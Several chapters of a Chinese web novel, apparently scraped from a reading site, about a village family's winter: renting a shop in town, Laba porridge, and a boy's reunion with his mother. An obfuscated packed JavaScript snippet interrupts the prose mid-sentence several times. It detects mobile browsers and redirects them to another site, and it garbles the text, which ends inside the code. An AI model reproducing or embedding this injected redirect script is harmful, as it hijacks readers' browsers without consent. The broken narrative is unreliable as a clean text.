别人家都在欢欢喜喜准备腌肉、做腊肠、炒年货,他们家却没半点生气,阿嬷说家里人口少,过年也没几个客会上门,所以这些都省得,到时候买一两斤凑数就行。 看着其他小孩子快活地吃零嘴,他只能眼巴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992944|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着,偷偷舔嘴巴。 宝银瞧见了,递一块柿饼过去给他吃,康哥喜得不行,接过后连连道谢。 他们俩现在关系亲近不少,自从夏收后去县城买牛碰上凤仙姨,当时宝银亲口承诺过的,会护着小瘌痢头,不让别人欺负。他讲义气,说到就是做到,于是两个人连同宝珍和宝珠,现下玩的都不错。 宝珍与宝珠瞧见二哥哥拿柿饼给康哥吃,也纷纷掏出兜里的瓜子和花生分给他。 “呜呜呜……”康哥吃着吃着就开始掉泪珠子,吓了三个小伙伴一跳。 “你咋个啦?”宝银疑惑地挠头问他。不是已经给了他吃的么,还哭啥嘞。 康哥边吃边抽噎,“我想我娘了,我娘以前过年也会炒花生来吃,跟这个味道一样。” 三兄妹对视一眼,那怎么办呀,他们又不是神仙,不能把他娘从县城酒铺变回到这里。 “你们可以问问你爹水林叔不,他啥时候再去县城呀,让他给我娘捎句话,叫她悄悄过来看下我,就说我想她了。”康哥抽着鼻子,湿漉漉地看着两姐妹。 “呃……” 于是晚间吃饭的时候,宝珍就与罗水林说了这件事,宝珠还在旁边拉着袖子求他:“爹爹,康哥哥好可怜呀,他都见不到自己娘,我们就再去一趟城里好不好,叫凤仙姨回来看他。” 罗水林哭笑不得,把她抱到膝上,告诉她:“能去是能去,但是就不晓得凤仙姨有不有空了,那个散酒铺子就她一个人看,若是我们去了她没空来不了咋办,那小瘌痢头又要伤心了。” 宝珠歪着靠在罗水林怀里,闻言坐直起来,皱着眉思考道:“那怎么办呀?” “是啊,怎么办?”罗水林逗她。 宝珍在旁边喃喃:“但是咱们不说,凤仙姨就永远不晓得了呀。”她瞪着大眼睛,“还是要说一趟的吧,不管她能不能来。” “行了,给我好好吃饭。”李兰香敲碗打断她们,“我和你爹刚好有事会去县城一趟,康哥的事我们会商量好,你俩呆在家就行。” “不行!”两姐妹听完,异口同声道:“那我和妹妹/姐姐不去县城吗?” “噗嗤……”李兰香被姐妹俩气笑,果然这两个小家伙有私心,一个劲儿地劝罗水林进城,除了想帮康哥一道,还想要进城去玩吧。 “不行什么不行?你们俩再不给我吃饭,就什么都不行!” 63. 看铺子 李兰香说有事去县城是真的有事,本不想带宝珍与宝珠的,但耐不住她们纠缠,烦人的很,又想着两个娃娃许久没出远门了,一时心软,就答应了带上她们。 早晨出门的时候,李兰香就后悔了,若只有她与罗水林去,那轻装上路就可,带上她俩,还得推个车子,麻烦得紧。 不过已经说好,倒不便再反悔,要不然这两个小妮子可要在心里记她一道了。 罗水林乐乐呵呵地给独轮车系上布条做的车绊,然后套在后脖颈处,搭在双肩上,方便推着车子走。宝珍宝珠蹦蹦跳跳的跟着他出院子门,李兰香走在最后面,把院门锁了,再一左一右地将她俩抱坐到车子上,一家人便出发了。 冬日里天冷,虽出了太阳有些暖意,但风大,吹在身上凉飕飕的。李兰香生怕吹坏了身体,特地还在家带了一床小被子,严严实实裹在宝珍与宝珠的身上。 走了一个多时辰,到了县城。 此时已经是腊月,离过年不足一月,城里的年味儿就很浓厚了,街边摆了不少卖饴糖和炒货的小摊子,摊主直接将炉子和锅从家端了来,当面炒制,另还有卖红对联与窗花的,把竹竿搭的高高的,将其挂在竿子上供人挑选。 李兰香走去炒货摊子上,买了一小包炒栗子回来。本来往年自家也会炒栗子的,不过当时中秋节做栗子饼把存的板栗全用光了,现下闻到空气中香甜的炒栗子味,倒是勾起她们的馋虫了。 炒货摊主把剪开口的栗子放在大锅里,跟黑色的砂石一同炒制,这样能保证均匀传热,栗子不容易烤焦。一包炒栗子要十文钱,里头只有二十来颗,李兰香撇撇嘴,心里默默觉得不值当。 不过宝珍和宝珠高兴,接过纸包就埋头深嗅了一口气,叫道:“好香呀!” 炒栗子时加了糖稀,吃的时候,宝珍与宝珠先放嘴巴里嗦了一遍栗子壳,直到没有甜味了才将壳剥掉。剥出来的栗子仁金黄金黄的,有股焦香,味道倒不算太甜,更多吃的是它的本味,微甜粉糯,还有点噎人。 两姐妹吃了几颗后又给自己爹娘剥,罗水林倒是不嫌弃栗子仁上面沾了她们的口水,拿过来就直接放嘴巴里,还不停夸赞:“好吃,太好吃了!”搞得两姐妹受到鼓励,剥得更欢了。 李兰香瞧着宝珍递过来的栗子,内心不想接,手却很诚实,道了声谢后,悄悄背过手拿帕子擦掉口水丝,这才勉强吃掉了。 一家人边走边逛,走到城中的四条主街上,这里人更多了,许多马车、骡车、轿子停在店铺门口,尤其是成衣铺子和布庄里头,挤了许多姑娘和妇人,都是来定制过年穿的新衣裳,亦或是买布料回去自己裁制的。 李兰香听得布庄伙计喊布料有折价,也来了兴趣,叮嘱父女三人停在店铺侧边等她,自己一门子扎头进去看了。 三人等了小半刻钟都不见得她出来,宝珍和宝珠就下了车松乏松乏脚,又跑去旁边店铺门头瞧热闹,罗水林不错眼地盯着她们,若是见跑远了,就赶紧喊回来。 一刻钟过去,李兰香从铺子里挤出来,手里空落落的。 “娘,你没买布吗?”宝珍问她。 “我已经瞧好了,咱们回去的时候再来买,现在买了拿着不方便。”李兰香挺满足的,她预备买的两匹布折了价,比平日里来买,至少要便宜四五十文呢。 今日来县城,主要是看有没有适合开食铺的门头。李兰香之前有托付蒋多福帮忙探看,若是遇上价钱合适的,就告知她一声。但个半月过去,一直没收到他的消息,李兰香也不可能专门寄托希望在别人家身上,肯定自己也要来考察一番的。 古代租店铺需得找牙行,牙行是市场上为买卖双方说合、介绍交易,并抽取佣金的商行,不仅可以为房主寻找租客,也能为租客介绍店铺,还可以交易下人、牲畜、各项物事等,通常受官府批准和监管。 他们一进到牙行里头,立马便有牙人殷勤迎上来,两夫妻还是头一遭办这事,显得有点不知所措。 那牙人老成,大约四十岁左右,见是一对年轻夫妻带着两个娃娃,穿着也很是普通,便晓得他们应当不是大主顾,但还是脸上带笑,招呼他们坐了,端上茶水,这才询问他们所为何事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008223|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗水林率先开口道:“我娘子想寻一间铺子做吃食,不晓得您手上有没有合适的门头?” 这倒叫牙人吃惊,他还以为他们是普通人家呢,没想到要开铺子,那应当手里头有点钱,因此脸上的笑也真诚了几分,连忙将牙行里登记在册的出售和出租铺子的信息簿拿了过来。 “您要何种铺子,是要买下来的呢,还是租下来?另需要多大的铺面,要带住所的,还是不带住所的呢?”牙人抛出一连串问题。 罗水林与李兰香对视一眼,然后诚实回应道:“租赁即可,现下还买不起铺子。” 李兰香接话:“铺面不需要太大,价钱不能太高,另要是对街的门头,若是有住所更好。” “唔……”牙人沉思一会儿,继续问他们:“我这儿倒是有几间铺面不大的铺子,但是有不对街的,另还有对街但没有住所的,您看……” “没有住所也行,但一定要有对街的门头。”李兰香要做食铺,肯定需要找个好点的地段才能行,若是开在那种深巷子里,哪会有人上门呀。 至于住所,有便更好,若是没有,恐怕还要再租一间住房了。 牙人听得他们的要求,便先带去瞧了铺子的面貌,走了一上午下来,看了三间铺子,都不符合李兰香的要求。 第一间铺子太过紧窄,最多放两张桌子,多了便过不了人了;第二间铺子就更不行了,对街是对街,但旁边紧邻着棺材铺,这样晦气,鬼才会来吃;第三间铺子样样好,门头对街,有住所,就是价钱太高,一月需得七两银。 李兰香默默算了算自家攒的钱,还是不敢冒这般大的风险,若是开了铺子没有食客上门,不要半年,他们的全部身家就能折进去。 回到牙行,两夫妻与牙人商定了,后面若再有合适的,牙人自会去栗花村找他们。当然这并不是牙人良善,而是李兰香他们要是在他手里租了铺子,他能从中抽成挣钱。 于是一家人在县城吃了午饭,随意闲逛了各处,买回布匹、对联,宝珠心心念念的糖莲子,还有李兰香的一罐新香膏,又打道回府去。 64. 腊八粥 腊七腊八,冻掉下巴。 进入了腊月,天便冷得紧,初七这日的凌晨还飘起一阵小雪,下了一会儿便停住了。 宝珍早起穿衣裳时,李兰香又给她加了一件坎肩穿在袄子里头,于是整个人显得更加鼓囊臃肿,连夹紧手臂都难。 “我好像一只企鹅呀。”她悄悄嘟囔。 李兰香在旁边用火笼子给宝珠烘衣裳,敏锐地捕捉住零星字眼,疑惑道:“鹅?你在哪儿见到的鹅哦,咱们村上又没人养鹅。” “没有没有!”宝珍连连摇头,她可不敢跟李兰香讲什么是企鹅,毕竟古人从没见过这玩意儿,若是讲了,李兰香定当她是晚间做梦被魇住,要给她叫魂了。 于是宝珍穿好衣裳便跑去堂屋,踮起脚把大门的门栓取下,竖在门后面。 刚开门的瞬间,外头刺眼的白光直射得她眼睛疼,不由得眯起双眼,好一会儿才适应。 眺眼望去,晚间下的一层薄雪覆盖住了地面、草尖、树头,邻里人房屋顶上的黑瓦也被盖住,整个天地都好像是白茫茫的。 宝珍被吹进来的冷风冻得打了个寒颤,不由得将门又合上一半,只需要有光透露进来就行。 半上午的时候,天养来了栗花村,她是与养母薛娘子过来接孙婆子,要一同去玉华山的观音庙,准备明日的布施。 李兰香有些忧心,这落了雪地上滑,可比平时爬山要危险的多,更何况孙婆子年纪大了,身子骨脆经不起摔,要是出了事可咋办。 “不妨事,我们年年都爬,有一年落大雪落到半腿弯了,我们都是照常趟雪去的,走到庙里两条裤腿都湿光了,不照样是好好的。”孙婆子明白李兰香的担忧,笑呵呵地宽慰她。 宝珍在旁腹诽,这哪是宽慰,听了这话更吓人好不好。 果然李兰香更怕了,一个劲儿劝阻:“娘,薛嫂子,你们今年就别去了嘛,只不去一回,佛祖和观音娘娘不会怪你们的。” “咋能这样说呢。”孙婆子佯装生气教训她:“佛祖怪不怪是一回事,我们心诚不诚又是一回事。哎哟再说了,我都爬了几十年都没事,就这点子小雪,踩一踩就融了,莫怕莫怕!” 唉,李兰香只想叹气,婆婆倔起来没人管得住,罗老头更是不敢讲她。 宝珍宝珠拉着天养围在火笼子旁暖手,两姐妹悄悄问她:“天养,你们信佛的人都这么虔诚的么,看我阿嬷和你娘的样子,感觉莫说是落雪,就是天上下刀子,她们都不怕的。” “不是。”天养摇了摇头,“主持婆婆说过,‘心中若有佛,处处是菩提。’” “早上时我劝了娘的,但她不肯,说是已经做惯了,改不回来,我就没再劝了,这可能是她们大人间祈福的一种方法吧。” “以前我住在庙里的时候,佛诞节与腊八节,总是有许多信众提前几日过来为佛像擦身,帮着做乌米饭和腊八粥,只为最后走的时候讨一份浴佛水与佛粥回去。我问过主持婆婆,她说,俗世间人都有所求,可能她们信佛是想求个心安。” 说到这处,天养忽然笑起来,眼睛亮晶晶的,显出古灵精怪的孩子气,“我又问她,那没有求的人呢,你们猜,主持婆婆说了什么?” 宝珍与宝珠猜不出,老实地摇头。 “主持婆婆这样说:那没有求的人,自然不在俗世,都遁入了空门,做了与我一般的比丘尼或和尚啦!”天养学着主持讲话,与她们逗趣。 宝珍听了后愣了愣,这番话听着其实怪残忍,庙中的比丘尼们都不是生来便是这种身份的,大多是经了事,心灰意冷后才选择剃发出家。只是这对小人家家讲了也读不懂,所以主持才会用这种简单的话语,欢快的语调,去掩盖她们背后孤苦一生的事实吧。 劝不动孙婆子与薛娘子,最后她们三人还是走了,李兰香瞧着远去的骡车,暗暗祈祷,希望今天去庙里的人多,爬山有伴,这样便安全些。 腊八粥又被称为七宝五味粥、佛粥,相传释迦牟尼在成佛之前苦修时,六年间每日只食一麻一麦,因此虚弱不堪,后遇见一位牧羊女,用牛乳与各种谷物熬成的粥供养他,才得以恢复体力,同时释迦牟尼在腊八节这一天悟道成佛,所以腊月初八也成为了佛教的一个重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025933|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要节日。 孙婆子与薛娘子是忠实信众,这一日必不会缺席。好在有惊无险,山路虽滑,但同行者众多,一路上相互搀扶上来,只打湿了鞋袜,脏了外裤,换掉便是。 信众们将供养呈于比丘尼,然后纷纷拿上干净的帕子为佛像擦拭金身,打理殿堂。晚间过斋后,又与比丘尼们浸了化缘得来的糯米、红豆、花生、莲子、白果等物,准备明日腊八节起早熬佛粥,舍与信众和香客们。 民间不信佛,照样过腊八,腊月初八敬八方八神,祈求来年风调雨顺。因此家里的李兰香也做了粥,选不同的谷物和豆子、干果,凑成八样煮作一锅便是。 有句俗语叫:早食粥,来年粮食早收。喝腊八粥不能过午,越早吃越好、越吉利,所以家家户户这一天的早饭,都是吃的腊八粥。 李兰香煮好粥先敬了神,然后盛出几碗,送到老宅去,邻里人家也都相互赠粥,尝尝各家不同的口味。 腊八粥中加了糖,味甜,熬煮过后十分浓稠,家里面好几碗各家送来的粥,宝珍和宝珠坐在桌子前,拿调羹一一尝过去。 这些粥里面,有人家谷物放的多,有糯米又有大米的,吃起来虽饱足,味却不美;也有人家喜甜,放红豆、莲子、桂圆、红枣去煮,整碗粥甜甜蜜蜜,粘嘴的很。 宝珍与宝珠全都尝过一道,便选了最适合自己的口味吃,剩下的几碗,就由罗水林与李兰香解决。 山上的孙婆子和薛娘子,凌晨便早起熬粥、施粥,等到香客们领了粥回去,各位信众也拿瓦罐装了自己份的佛粥,紧赶慢赶地下山去。 到家后还未过午,孙婆子把瓦罐里的粥温了,分到各个小碗里,喊家里每个人来吃。 宝珍与宝珠摸摸自己尚且饱足的肚子,听到孙婆子急催:“快吃快吃,早喝早吉利,这可是在佛祖面前供过的佛粥,吃了后会得佛祖庇佑的。” 于是众人乖乖端起碗来吃粥。孙婆子一边喝着自己碗里的粥,一边笑着看大家伙儿,从凌晨忙活到现在,她还未进一粒水米呢,现下喝着粥,肚里心里都满足,这佛粥,果真是好呀。 65. 冬三九 前几日一家人去县城时,归家前去找了凤仙,与她讲康哥儿的事。 因是快要过年,散酒铺子的生意更是要好,不时便会有人拿着酒壶或者葫芦过来打酒,凤仙忙得头都晕了,听到宝珍宝珠你一嘴我一嘴的讲康哥儿的事,来不及细究,就满口应承下来,答应冬三九那日会向主人家告假,回栗花村看他。 娃娃们唱的数九歌里面,一九二九不出手,三九四九冰上走,三九这日正是寒天,腊七落的是小雪,今日就降下了大雪,如鹅毛一般,飘得纷纷扬扬。 小瘌痢头康哥一大早就过来宝珍家坐着等,毕竟凤仙回了栗花村也不能进赖老娘家的门,会被打出来,所以就跟兰香约好,到时就在她们家母子碰头。 外面的天阴沉沉、灰蒙蒙的,地上积的雪已经到了人的脚脖子处,天上还在不停下。康哥儿越等越怕,他怕凤仙来不了。 “哎哟,你站这儿不冷么,莫等下给吹病了,惹你娘担心。”李兰香把坐在门槛上的康哥拉进来,拢上门,省得风灌进屋子里。 康哥眼巴巴地往外看,一脸委屈,问李兰香:“兰香婶婶,我娘不会不来了吧?这么大的雪……” “怎么会!你娘说了会来,就肯定来,这才巳正呢,哪有这么快到。”李兰香安慰他,其实她也不能笃定凤仙今日一定会来,毕竟雪下的大,不过依照凤仙的性子,这点险阻应不会放在心上。 康哥听了话,稍微安心了些,乖乖和宝银三兄妹坐在一处暖手。李兰香去里头用果盘装了花生、瓜子和糖莲子出来,拿给几个娃娃吃。 今日凤仙来,肯定要留她用中午饭,于是李兰香又使唤在家歇着的罗水林,叫他去地里扯蒜苗,准备炒腊肉吃。 秋收后种下的大蒜,经过两个来月,全都蹿得老高,足有一尺来长。罗水林撑着伞来地里的时候,蒜苗茎叶上覆盖了雪,微微被压趴下去。今年冬天好似格外冷一些,罗水林有些庆幸,幸好地头被他盖了干杉树枝保温,要不然蒜苗都要被冻坏了。 他拿手抚过去,扫落蒜叶上的积雪,然后挑其中长得粗壮的扯出来,捆做一捆,在地头敲掉蒜根的泥巴块,再去砍了株白菜回来。 回家的时候已经是午时,但凤仙还没来,康哥彻底等不住,就倚在门边等,兰香再劝也不肯进来了。 罗水林收了伞,把蒜苗和白菜放地上,问:“凤仙还没到么?” “嗯。不晓得是不是铺子里有事耽搁了,要不然就是路上被雪阻了。”李兰香也同样担忧,而且这菜是做还是不做呢。 “来了来了!娘——” 康哥一直望着外头,忽然见到有个穿着蓑衣提着包袱的女子深一脚浅一脚的,正往罗家这边走,于是立马就认出来,那就是他娘凤仙。 “总算来了!”李兰香与姐妹俩走到门边去瞧。等凤仙一进院子门,康哥就冒雪冲出去,猛地扎进她怀里。 “哎哟,哎哟,你要累死我呀?”凤仙半夹半抱地拖着康哥进来,到檐下脱了斗笠和蓑衣,露出张被冻红的笑脸。 “呜呜呜呜……”康哥缩在她怀里哭。 “不好意思哦兰香,我家这小子是不是特别烦人,劳你们照顾咯。”凤仙脸上带笑,跟李兰香打招呼。 然后揪出康哥,哄他:“莫哭咯,我给你带了好多好东西嘞,全在包袱里,你要不要看看。” 康哥闻言用袖子擦眼泪,瓮声瓮气的:“看。” 于是李兰香把地方空出来给这对母子,拉着罗水林去到灶房烧饭。 凤仙打开带的包袱,里面装的大多是吃食,有点心、炒货和饴糖、糕饼,还有一身棉衣棉裤和四双鞋子。 她拿出鞋子来,招呼道:“牛蛋、宝珍宝珠,快过来试试鞋子。” 三兄妹有点惊讶,这还有他们的事么。 凤仙搂过宝珠,把她脚上的鞋子去了,然后套上自己做的新鞋,解释道:“姨是估着做的,可能不太合脚哈,做大了些。” 接着把宝珠放下地,指挥她,“走两步看看,看紧不紧脚。” 宝珠被她搞得懵了,顺从地走了几步才反应过来,抬起头问:“这个鞋子是做给我的吗?” “是嘞,你和你哥哥姐姐一人一双,还有我们家康哥。”凤仙乐呵呵的,又拆一包茯苓糕出来给他们吃,然后摸了摸康哥的头,嘱咐道:“你在这里跟妹妹们吃东西,我去帮兰香婶婶做饭。” “嗯嗯!”康哥嘴巴里塞着饼猛点头,两眼亮晶晶的注视她进灶房。 午饭李兰香备了五个菜,因为落大雪没法出去买鲜肉,就用家里现有的食材,做了蒜苗炒腊肉、豆豉腊鱼、清炒白菜和蒸香肠,另外用豆子发了豆芽,跟鸡蛋和泡发的番薯粉丝,炒了个香喷喷的合菜。 五个菜,三个大人和四个娃娃,也尽够吃的了。吃饭的时候,康哥就挨着、贴着凤仙坐,连盛饭都要跟着。 李兰香做好饭后知道凤仙居然给宝珍宝珠做了鞋子,不由得嗔怪:“你这是干啥呀?就来吃顿饭,还特地送三双鞋子,你这样搞得我下次都不敢请你吃饭咯。” “看你小心的。”凤仙朝她翻个白眼,然后笑着回嘴:“你都冒着被赖家那个虔婆骂的风险请我吃饭了,还不值当我送几双鞋子啊。再说这就几双普通的布鞋,我连花样子都没描,不值钱。” 饭桌上的人都笑起来,康哥也开心,大家伙儿纷纷让菜、夹菜,气氛融洽。 正在这时,外头传来响声,半掩的门被推开,“康哥,回去吃饭!”是大瘌痢头来了。 今日早晨康哥跟赖老娘讲了他来宝珍家耍的事,还说了要在这里吃午饭,他平时也说过谎骗她,赖老娘都是深信不疑的,甚至还暗暗高兴,巴不得自己孙子多到别人家去蹭饭,省些粮食。 中午吃饭,大瘌痢头没见着儿子,问了一嘴,晓得过后便来逮他。虽然大瘌痢头这个人是怂包软蛋一个,但品行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049735|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是没有大的问题,见到自己娘一副蹭到就是赚到的样子,不由得冒出一股邪火。他晓得自己没得救了,因为寡娘的恩情,他无法做出忤逆她的事来,但这并不代表他想他的儿子被教歪,于是闷头放下碗,连伞都不撑就跑到罗家来。 见到大癞痢头,众人全都怔住,大癞痢头自己也懵了,没想到能在这里见到凤仙。 “你……” 他回过神,刚开口就被凤仙顶回去,“你什么?我来栗花村看看我儿子也不行了?你们赖家不让我进,我到别人家吃饭也不行了?” 凤仙双眼冒火,一脸讥笑,愤怒道:“你现在敢带走康哥你试试看!” 康哥也哭起来,朝着大癞痢头哭求道:“我不是故意骗阿嬷的,我都好久没见到娘了,我不想回去。” 大癞痢头的脸烧得通红,对于凤仙和康哥他有歉疚,而且李家人都在,那种审视的眼光盯得他如芒在背,巴不得赶紧逃出去。 “不……不用回去了。”大癞痢头吞口口水,哑声道:“我不会跟我娘讲,你们……你们继续吃。”然后转身就合上门走了。 李家人没想到他是这种反应,凤仙倒是清楚得很,她这个前夫窝囊至极,生怕跟人起冲突,你强他就弱,所以她才先声夺人呛他,料想他回去也不敢跟赖虔婆讲她到了栗花村的事。 果不其然,大癞痢头回了家一声不吭,赖老娘边收拾桌子边嘲笑他:“我就说了康哥不会跟你回来吧。” “蹭顿饭能咋的,那李家人愿意让他去吃不就去嘛,小娃子一顿能吃几两米。” 大癞痢头不想听,“你别说了行不行,下次别再放他去了,我们家又不是吃不起饭。” “呵,不是我放他去,是他自个儿要去!”赖老娘哪里能容得自己儿子顶撞,立马便骂骂咧咧的,“康哥嫌弃我做饭不好吃不是一两日了,我是比不上李家那个生不出儿子的兰香手艺好,他自己要去蹭饭我还能拦得住他?” “我年纪都这样大了还要给你和康哥做饭,你咋个不体谅体谅我!” 说着说着又开始装哭,边锤胸口边骂:“哎哟,我真是命苦啊,丈夫死的早,生个儿子也不孝顺,娶了个母老虎回来天天跟我作对啊,我是一点儿媳妇的福都没享过啊……” 这些话大癞痢头听了无数遍,小时是因为没有爹,她娘便每次哭骂自己命苦克丈夫,等娶兰香进门,一有事不合她心意,她就哭骂自己不孝顺,不让他向着兰香…… 平时他还能忍,今天忽然间就忍不太下去,他做不出跟自己娘对骂的事情,只能捂住耳朵,然后冲进他跟康哥的房间里,把门栓插上,不让他娘跟进来。 赖老娘这是头一次被自己儿子大癞痢头对抗,见他躲进屋,假哭都不装了,直接跟上去拍门,在外头叫骂。 屋子里面的大癞痢头坐在床边的脚蹬子上,从破了的被芯里扯出两团棉花塞进耳朵,整个人如老僧入定,再不想听。 66. 融雪 冬三九那天的雪落了整一日,直到傍晚才停歇,晚间吃饭的时候,顶头阴沉沉的云团散去,露出幽蓝色的天幕,半弯的黄月亮从西边升起来,洒下的辉光映在白色的雪上,照得整个栗花村仿佛依旧在白日里,亮堂堂的。 村子东边忽然传过来叫骂哭喊声,宝珍和宝珠竖起耳朵听,被李兰香敲筷子,“好好专心吃饭,等下菜都冷了。” 两姐妹只好收回好奇心,乖乖吃饭,耳边吵闹的声音不一会儿就消下去了,再没响起。 冬日里寒冷洗不得澡,通常都要过六七日才能洗一回,但是身子又容易痒痒,宝珍宝珠时不时就要挠一挠。于是睡觉前李兰香给她们洗了脸,还要再用打湿的热帕子塞进衣服里面,把后背前胸全都搓一道,这才能舒坦点。 搓了身上,洗好小屁股,最后提一壶烧好的滚水,母女三人一同泡个热水脚。 李兰香先倒半壶水进脚盆,再慢慢往里掺冷水,试了水温觉得尚可,这才招呼宝珍和宝珠端凳子过来洗脚脚。 小人家的皮肤嫩,大人觉得正好合适的水温,她们却感觉烫的不行,刚将脚放进去就“啊”地大叫一声提起来,然后踏在木盆的两边,直到李兰香也放下脚去,这才试探着把自个儿的小脚踩在娘亲的脚背上。 李兰香拿另一只脚拨下她们的脚去,接着踩住,不让她们逃,坏笑着道:“这哪个烫?泡脚就是要用热热的水泡才行,晚上才睡得热。” 两个娃娃许是体质比较虚,冬日里那个脚总是不得热,跟个冰坨子似的,所以李兰香现在也搬到她们房间去跟她们睡。每到半夜,宝珍宝珠睡得冷了,就把身子团起来,整个脑袋扎进被子里,又拿脚探到她怀里取暖,倒是总把她冰醒。 李兰香寻思着,要不然每日熬一些红糖姜水给她们喝,又担心冬日天燥,容易上火,小娃娃天冷不爱喝水,到时候拉不出屎来。 “娘,你说康哥的阿嬷明日会来我们家闹么?我有点怕她。”宝珍开口打断李兰香的沉思,一脸担忧。 白日里凤仙姨和康哥在她们家碰头吃午饭,运气不好,正被康哥的爹大癞痢头碰着,本还担心他闹,没想到他一见着前妻凤仙就跑,又以为没事了,结果到了下午凤仙要走的时候,这个大癞痢头居然包了个小包袱过来,一把塞给凤仙,还让她带走儿子康哥,说等年二十四再去接他,这可把众人吓得不轻,就连凤仙都觉得他恐怕是鬼上身,要不然这可不像软蛋大癞痢头啊。 不过凤仙诧异归诧异,有这种可以接娃到身边过日子,能待半个月的好事,她肯定接住。于是乎,下午康哥就跟着娘亲凤仙回县城去了,还是冒着雪急走的。 刚才吃饭的时候村东头传出来的哭喊声,应当就是赖老娘发现宝贝孙子不见,在家闹起来的声音,就是不晓得大癞痢头能不能扛得住了。 李兰香一脸无所谓,安抚宝珍道:“康哥又不是我们拐走的,人家跟娘回去住段时间还不行呐,要是那个老不修明日过来闹,不用怕,娘有法子治她。” “娘好厉害!”宝珠拍起手来,眼睛亮晶晶,眨巴眨巴地看着李兰香。 不过第二日并没有人上门,因正在融雪,外头都没几个人出来走动,全窝在家里猫冬。 宝珍和宝珠早上是被太阳光照醒的。大雪过后,便是晴天,外面积了雪,日头照在上面反射出更强的白光,刺得人眼睛生疼。 两个人一出被子就冻得打哆嗦,觉得好似今日比昨日落雪还要更冷些。 上午的时候,宝珍宝珠怕赖老娘真的过来闹,早早就把院子的门栓插上,然后顶着太阳光,在院子里滚雪球球,互相打闹着玩。 屋顶上的雪被日头晒融了,滴答滴答流下水来,又因天气冷,慢慢就在屋檐处结成一长溜的冰棱,宝珠见到了,赶忙叫罗水林驼她到肩头,她要把冰棱掰下来吃。 罗水林也随着她闹,笑呵呵地把她架在肩膀上,看她怎个掰的下来。 宝珠坐在爹爹肩膀上伸长手,还是离得老远,就算抬起屁股使力往上蹬,都摸不到分毫。李兰香把手拢在袖子里瞧笑话,见宝珠一直不放弃,这才喊她:“屋梁太高啦,你们父女一个傻子一个傻女,就不晓得搬梯子过来么?” 小孩子对距离是没有概念的,宝珠瞧屋檐似乎很近,实际上可比她预估的高多了。听到李兰香讲可以搬梯子,又要下来拉着罗水林去搬,没想到他不肯,还反过来教育她们两母女:“这个天哪里能搬梯子,放都放不住,梯子受力打下滑,我命都不用要喽。” 好吧,宝珠听到后也只能作罢,眼馋的望着冰棱,自个儿嗦手指头。 下午的时候宝银来了,提着一个竹篮子,滴滴答答往下淌水。 宝珍宝珠听到二哥哥叫门,于是把他放进来。李兰香疑惑地瞧着他手上的竹篮子,问他:“牛蛋,你篮子里放的啥,怎一直流水出来?” “嘿嘿!”宝银笑得傻乎乎,把篮子上蒙的布掀开,好家伙,一篮子的冰块冰坨子。 “我昨晚在家用碗装水放在外面,今日就冻好了,水里头我还求我娘放了白糖嘞,可好吃了。” 李兰香哭笑不得,乡下娃娃落了雪后会去掰冰溜子吃很寻常,没想到牛蛋还怪聪明,居然自己用糖水冻冰块吃。 见到宝珍宝珠围过去要拿冰块吃,连忙喊道:“牛蛋,你分一点给她们吃就行了,不要太多,会闹肚子。” “我晓得嘞。”宝银边挑冰块边讲:“阿嬷还说檐下的冰棱不能吃呢,她说雪脏,吃了会拉稀。” 这话虽糙,但倒不是没道理。天上落下的雨水尚且都要烧滚了才能喝,更何况是落在瓦上的雪呢,可不晓得会沾多少灰尘。 到第三日,雪渐渐融了,温度也升上去。李兰香瞅着天晴,于是在中午太阳最盛的时候,烧了一大锅的热水,让罗水林把澡桶端到院子里,然后将宝珍宝珠脱得精光光,全扔到水下去洗。 宝珍宝珠在水里头嬉闹,笑得哈哈的。刚才脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 